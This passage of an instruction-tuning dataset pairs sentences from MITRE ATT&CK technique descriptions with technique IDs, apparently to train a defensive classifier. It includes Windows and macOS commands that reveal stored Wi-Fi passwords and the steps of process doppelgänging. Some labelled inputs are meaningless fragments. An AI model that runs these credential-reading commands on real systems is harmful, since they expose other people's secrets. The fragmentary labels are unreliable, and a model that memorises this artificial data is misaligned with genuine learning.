further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Utilities used to perform software packing are called packers. ### Response: T1045."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Example packers are MPRESS and UPX.", "output": "T1045", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Example packers are MPRESS and UPX. ### Response: T1045."}{"instruction": "List the MITRE techniques contained in the text.", "input": "A more comprehensive list of known packers is available, (Citation: Wikipedia Exe Compression) but adversaries may create their own packing techniques that do not leave the same artifacts as well-known packers to evade defenses.", "output": "T1045", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: A more comprehensive list of known packers is available, (Citation: Wikipedia Exe Compression) but adversaries may create their own packing techniques that do not leave the same artifacts as well-known packers to evade defenses. ### Response: T1045."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use virtual machine software protection as a form of software packing to protect their code.", "output": "T1045", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use virtual machine software protection as a form of software packing to protect their code. ### Response: T1045."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run.", "output": "T1045", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. ### Response: T1045."}{"instruction": "List the MITRE techniques contained in the text.", "input": "A virtual machine is then called to run this code.(Citation: ESET FinFisher Jan 2018)", "output": "T1045", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: A virtual machine is then called to run this code.(Citation: ESET FinFisher Jan 2018) ### Response: T1045."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges.", "output": "T1055", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. ### Response: T1055."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Process injection is a method of executing arbitrary code in the address space of a separate live process.", "output": "T1055", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Process injection is a method of executing arbitrary code in the address space of a separate live process. ### Response: T1055."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges.", "output": "T1055", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. ### Response: T1055."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.", "output": "T1055", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process. ### Response: T1055."}{"instruction": "List the MITRE techniques contained in the text.", "input": "There are many different ways to inject code into a process, many of which abuse legitimate functionalities.", "output": "T1055", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: There are many different ways to inject code into a process, many of which abuse legitimate functionalities. ### Response: T1055."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These implementations exist for every major OS but are typically platform specific.", "output": "T1055", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These implementations exist for every major OS but are typically platform specific. ### Response: T1055."}{"instruction": "List the MITRE techniques contained in the text.", "input": "More sophisticated samples may perform multiple process injections to segment modules and further evade detection, utilizing named pipes or other inter-process communication (IPC) mechanisms as a communication channel.", "output": "T1055", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: More sophisticated samples may perform multiple process injections to segment modules and further evade detection, utilizing named pipes or other inter-process communication (IPC) mechanisms as a communication channel. ### Response: T1055."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may inject malicious code into process via process doppelg\u00e4nging in order to evade process-based defenses as well as possibly elevate privileges.", "output": "T1055.013", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may inject malicious code into process via process doppelg\u00e4nging in order to evade process-based defenses as well as possibly elevate privileges. ### Response: T1055.013."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Process doppelg\u00e4nging is a method of executing arbitrary code in the address space of a separate live process.", "output": "T1055.013", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Process doppelg\u00e4nging is a method of executing arbitrary code in the address space of a separate live process. ### Response: T1055.013."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Windows Transactional NTFS (TxF) was introduced in Vista as a method to perform safe file operations.", "output": "T1055.013", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Windows Transactional NTFS (TxF) was introduced in Vista as a method to perform safe file operations. ### Response: T1055.013."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Microsoft TxF) To ensure data integrity, TxF enables only one transacted handle to write to a file at a given time.", "output": "T1055.013", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Microsoft TxF) To ensure data integrity, TxF enables only one transacted handle to write to a file at a given time. ### Response: T1055.013."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Until the write handle transaction is terminated, all other handles are isolated from the writer and may only read the committed version of the file that existed at the time the handle was opened.", "output": "T1055.013", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Until the write handle transaction is terminated, all other handles are isolated from the writer and may only read the committed version of the file that existed at the time the handle was opened. ### Response: T1055.013."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Microsoft Basic TxF Concepts) To avoid corruption, TxF performs an automatic rollback if the system or application fails during a write transaction.", "output": "T1055.013", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Microsoft Basic TxF Concepts) To avoid corruption, TxF performs an automatic rollback if the system or application fails during a write transaction. ### Response: T1055.013."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Microsoft Where to use TxF)\n\nAlthough deprecated, the TxF application programming interface (API) is still enabled as of Windows 10.", "output": "T1055.013", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Microsoft Where to use TxF)\n\nAlthough deprecated, the TxF application programming interface (API) is still enabled as of Windows 10. ### Response: T1055.013."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: BlackHat Process Doppelg\u00e4nging Dec 2017)", "output": "T1055.013", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: BlackHat Process Doppelg\u00e4nging Dec 2017) ### Response: T1055.013."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse TxF to a perform a file-less variation of [Process Injection](https://attack.mitre.org/techniques/T1055).", "output": "T1055.013", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse TxF to a perform a file-less variation of [Process Injection](https://attack.mitre.org/techniques/T1055). ### Response: T1055.013."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Similar to [Process Hollowing](https://attack.mitre.org/techniques/T1055/012), process doppelg\u00e4nging involves replacing the memory of a legitimate process, enabling the veiled execution of malicious code that may evade defenses and detection.", "output": "T1055.013", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Similar to [Process Hollowing](https://attack.mitre.org/techniques/T1055/012), process doppelg\u00e4nging involves replacing the memory of a legitimate process, enabling the veiled execution of malicious code that may evade defenses and detection. ### Response: T1055.013."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Process doppelg\u00e4nging's use of TxF also avoids the use of highly-monitored API functions such as <code>NtUnmapViewOfSection</code>, <code>VirtualProtectEx</code>, and <code>SetThreadContext</code>.", "output": "T1055.013", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Process doppelg\u00e4nging's use of TxF also avoids the use of highly-monitored API functions such as <code>NtUnmapViewOfSection</code>, <code>VirtualProtectEx</code>, and <code>SetThreadContext</code>. ### Response: T1055.013."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: BlackHat Process Doppelg\u00e4nging Dec 2017)", "output": "T1055.013", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: BlackHat Process Doppelg\u00e4nging Dec 2017) ### Response: T1055.013."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Process Doppelg\u00e4nging is implemented in 4 steps (Citation: BlackHat Process Doppelg\u00e4nging Dec 2017):\n\n* Transact \u2013 Create a TxF transaction using a legitimate executable then overwrite the file with malicious code.", "output": "T1055.013", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Process Doppelg\u00e4nging is implemented in 4 steps (Citation: BlackHat Process Doppelg\u00e4nging Dec 2017):\n\n* Transact \u2013 Create a TxF transaction using a legitimate executable then overwrite the file with malicious code. ### Response: T1055.013."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These changes will be isolated and only visible within the context of the transaction.", "output": "T1055.013", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These changes will be isolated and only visible within the context of the transaction. ### Response: T1055.013."}{"instruction": "List the MITRE techniques contained in the text.", "input": "* Load \u2013 Create a shared section of memory and load the malicious executable.", "output": "T1055.013", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: * Load \u2013 Create a shared section of memory and load the malicious executable. ### Response: T1055.013."}{"instruction": "List the MITRE techniques contained in the text.", "input": "*", "output": "T1055.013", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: * ### Response: T1055.013."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Rollback \u2013 Undo changes to original executable, effectively removing malicious code from the file system.", "output": "T1055.013", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Rollback \u2013 Undo changes to original executable, effectively removing malicious code from the file system. ### Response: T1055.013."}{"instruction": "List the MITRE techniques contained in the text.", "input": "* Animate \u2013 Create a process from the tainted section of memory and initiate execution.", "output": "T1055.013", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: * Animate \u2013 Create a process from the tainted section of memory and initiate execution. ### Response: T1055.013."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This behavior will likely not result in elevated privileges since the injected process was spawned from (and thus inherits the security context) of the injecting process.", "output": "T1055.013", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This behavior will likely not result in elevated privileges since the injected process was spawned from (and thus inherits the security context) of the injecting process. ### Response: T1055.013."}{"instruction": "List the MITRE techniques contained in the text.", "input": "However, execution via process doppelg\u00e4nging may evade detection from security products since the execution is masked under a legitimate process.", "output": "T1055.013", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: However, execution via process doppelg\u00e4nging may evade detection from security products since the execution is masked under a legitimate process. ### Response: T1055.013."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.", "output": "T1016.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems. ### Response: T1016.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use Wi-Fi information as part of [Account Discovery](https://attack.mitre.org/techniques/T1087),", "output": "T1016.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use Wi-Fi information as part of [Account Discovery](https://attack.mitre.org/techniques/T1087), ### Response: T1016.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[Remote System Discovery](https://attack.mitre.org/techniques/T1018), and other discovery or [Credential Access](https://attack.mitre.org/tactics/TA0006) activity to support both ongoing and future campaigns.", "output": "T1016.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [Remote System Discovery](https://attack.mitre.org/techniques/T1018), and other discovery or [Credential Access](https://attack.mitre.org/tactics/TA0006) activity to support both ongoing and future campaigns. ### Response: T1016.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may collect various types of information about Wi-Fi networks from hosts.", "output": "T1016.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may collect various types of information about Wi-Fi networks from hosts. ### Response: T1016.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, on Windows names and passwords of all Wi-Fi networks a device has previously connected to may be available through `netsh wlan show profiles` to enumerate Wi-Fi names and then `netsh wlan show profile \u201cWi-Fi name\u201d key=clear` to show a Wi-Fi network\u2019s corresponding password.(Citation: BleepingComputer Agent Tesla steal wifi passwords)(Citation:", "output": "T1016.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, on Windows names and passwords of all Wi-Fi networks a device has previously connected to may be available through `netsh wlan show profiles` to enumerate Wi-Fi names and then `netsh wlan show profile \u201cWi-Fi name\u201d key=clear` to show a Wi-Fi network\u2019s corresponding password.(Citation: BleepingComputer Agent Tesla steal wifi passwords)(Citation: ### Response: T1016.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Malware Bytes New AgentTesla variant steals WiFi credentials)(Citation: Check Point APT35 CharmPower January 2022)", "output": "T1016.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Malware Bytes New AgentTesla variant steals WiFi credentials)(Citation: Check Point APT35 CharmPower January 2022) ### Response: T1016.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Additionally, names and other details of locally reachable Wi-Fi networks can be discovered using calls to `wlanAPI.dll` [Native API](https://attack.mitre.org/techniques/T1106) functions.(Citation: Binary Defense Emotes Wi-Fi Spreader)", "output": "T1016.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Additionally, names and other details of locally reachable Wi-Fi networks can be discovered using calls to `wlanAPI.dll` [Native API](https://attack.mitre.org/techniques/T1106) functions.(Citation: Binary Defense Emotes Wi-Fi Spreader) ### Response: T1016.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "On Linux, names and passwords of all Wi-Fi-networks a device has previously connected to may be available in files under ` /etc/NetworkManager/system-connections/`.(Citation: Wi-Fi Password of All Connected Networks in Windows/Linux)", "output": "T1016.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: On Linux, names and passwords of all Wi-Fi-networks a device has previously connected to may be available in files under ` /etc/NetworkManager/system-connections/`.(Citation: Wi-Fi Password of All Connected Networks in Windows/Linux) ### Response: T1016.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "On macOS, the password of a known Wi-Fi may be identified with ` security find-generic-password -wa wifiname` (requires admin username/password).(Citation: Find Wi-Fi Password on Mac)", "output": "T1016.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: On macOS, the password of a known Wi-Fi may be identified with ` security find-generic-password -wa wifiname` (requires admin username/password).(Citation: Find Wi-Fi Password on Mac) ### Response: T1016.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may check for Internet connectivity on compromised systems.", "output": "T1016.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may check for Internet connectivity on compromised systems. ### Response: T1016.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This may be performed during automated discovery and can be accomplished in numerous ways such as using [Ping](https://attack.mitre.org/software/S0097), <code>tracert</code>, and GET requests to websites.", "output": "T1016.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This may be performed during automated discovery and can be accomplished in numerous ways such as using [Ping](https://attack.mitre.org/software/S0097), <code>tracert</code>, and GET requests to websites. ### Response: T1016.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use the results and responses from these requests to determine if the system is capable of communicating with their C2 servers before attempting to connect to them.", "output": "T1016.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use the results and responses from these requests to determine if the system is capable of communicating with their C2 servers before attempting to connect to them. ### Response: T1016.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The results may also be used to identify routes, redirectors, and proxy servers.", "output": "T1016.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The results may also be used to identify routes, redirectors, and proxy servers. ### Response: T1016.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems.", "output": "T1016", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. ### Response: T1016."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Several operating system administration utilities exist that can be used to gather this information.", "output": "T1016", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Several operating system administration utilities exist that can be used to gather this information. ### Response: T1016."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Examples include [Arp](https://attack.mitre.org/software/S0099), [ipconfig](https://attack.mitre.org/software/S0100)/[ifconfig](https://attack.mitre.org/software/S0101), [nbtstat](https://attack.mitre.org/software/S0102), and [route](https://attack.mitre.org/software/S0103).", "output": "T1016", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Examples include [Arp](https://attack.mitre.org/software/S0099), [ipconfig](https://attack.mitre.org/software/S0100)/[ifconfig](https://attack.mitre.org/software/S0101), [nbtstat](https://attack.mitre.org/software/S0102), and [route](https://attack.mitre.org/software/S0103). ### Response: T1016."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also leverage a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) on network devices to gather information about configurations and settings, such as IP addresses of configured interfaces and static/dynamic routes (e.g. <code>show ip route</code>, <code>show ip interface</code>).(Citation:", "output": "T1016", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also leverage a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) on network devices to gather information about configurations and settings, such as IP addresses of configured interfaces and static/dynamic routes (e.g. <code>show ip route</code>, <code>show ip interface</code>).(Citation: ### Response: T1016."}{"instruction": "List the MITRE techniques contained in the text.", "input": "US-CERT-TA18-106A)(Citation: Mandiant APT41 Global Intrusion )", "output": "T1016", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: US-CERT-TA18-106A)(Citation: Mandiant APT41 Global Intrusion ) ### Response: T1016."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use the information from [System Network Configuration Discovery](https://attack.mitre.org/techniques/T1016) during automated discovery to shape follow-on behaviors, including determining certain access within the target network and what actions to do next.", "output": "T1016", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use the information from [System Network Configuration Discovery](https://attack.mitre.org/techniques/T1016) during automated discovery to shape follow-on behaviors, including determining certain access within the target network and what actions to do next. ### Response: T1016."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary may attempt to modify a cloud account's compute service infrastructure to evade defenses.", "output": "T1578", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary may attempt to modify a cloud account's compute service infrastructure to evade defenses. ### Response: T1578."}{"instruction": "List the MITRE techniques contained in the text.", "input": "A modification to the compute service infrastructure can include the creation, deletion, or modification of one or more components such as compute instances, virtual machines, and snapshots.", "output": "T1578", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: A modification to the compute service infrastructure can include the creation, deletion, or modification of one or more components such as compute instances, virtual machines, and snapshots. ### Response: T1578."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Permissions gained from the modification of infrastructure components may bypass restrictions that prevent access to existing infrastructure.", "output": "T1578", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Permissions gained from the modification of infrastructure components may bypass restrictions that prevent access to existing infrastructure. ### Response: T1578."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Modifying infrastructure components may also allow an adversary to evade detection and remove evidence of their presence.(Citation: Mandiant M-Trends 2020)", "output": "T1578", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Modifying infrastructure components may also allow an adversary to evade detection and remove evidence of their presence.(Citation: Mandiant M-Trends 2020) ### Response: T1578."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary may delete a cloud instance after they have performed malicious activities in an attempt to evade detection and remove evidence of their presence.", "output": "T1578.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary may delete a cloud instance after they have performed malicious activities in an attempt to evade detection and remove evidence of their presence. ### Response: T1578.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Deleting an instance or virtual machine can remove valuable forensic artifacts and other evidence of suspicious behavior if the instance is not recoverable.", "output": "T1578.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Deleting an instance or virtual machine can remove valuable forensic artifacts and other evidence of suspicious behavior if the instance is not recoverable. ### Response: T1578.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary may also [Create Cloud Instance](https://attack.mitre.org/techniques/T1578/002) and later terminate the instance after achieving their objectives.(Citation:", "output": "T1578.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary may also [Create Cloud Instance](https://attack.mitre.org/techniques/T1578/002) and later terminate the instance after achieving their objectives.(Citation: ### Response: T1578.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Mandiant M-Trends 2020)", "output": "T1578.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Mandiant M-Trends 2020) ### Response: T1578.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may search freely available websites and/or domains for information about victims that can be used during targeting.", "output": "T1593", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may search freely available websites and/or domains for information about victims that can be used during targeting. ### Response: T1593."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Information about victims may be available in various online sites, such as social media, new sites, or those hosting information about business operations such as hiring or requested/rewarded contracts.(Citation: Cyware Social Media)(Citation:", "output": "T1593", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Information about victims may be available in various online sites, such as social media, new sites, or those hosting information about business operations such as hiring or requested/rewarded contracts.(Citation: Cyware Social Media)(Citation: ### Response: T1593."}{"instruction": "List the MITRE techniques contained in the text.", "input": "SecurityTrails Google Hacking)(Citation:", "output": "T1593", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: SecurityTrails Google Hacking)(Citation: ### Response: T1593."}{"instruction": "List the MITRE techniques contained in the text.", "input": "ExploitDB", "output": "T1593", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: ExploitDB ### Response: T1593."}{"instruction": "List the MITRE techniques contained in the text.", "input": "GoogleHacking)", "output": "T1593", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: GoogleHacking) ### Response: T1593."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may search in different online sites depending on what information they seek to gather.", "output": "T1593", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may search in different online sites depending on what information they seek to gather. ### Response: T1593."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Phishing](https://attack.mitre.org/techniques/T1566)).", "output": "T1593", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Phishing](https://attack.mitre.org/techniques/T1566)). ### Response: T1593."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may search public code repositories for information about victims that can be used during targeting.", "output": "T1593.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may search public code repositories for information about victims that can be used during targeting. ### Response: T1593.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Victims may store code in repositories on various third-party websites such as GitHub, GitLab, SourceForge, and BitBucket.", "output": "T1593.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Victims may store code in repositories on various third-party websites such as GitHub, GitLab, SourceForge, and BitBucket. ### Response: T1593.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Users typically interact with code repositories through a web application or command-line utilities such as git.", "output": "T1593.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Users typically interact with code repositories through a web application or command-line utilities such as git. ### Response: T1593.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may search various public code repositories for various information about a victim.", "output": "T1593.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the 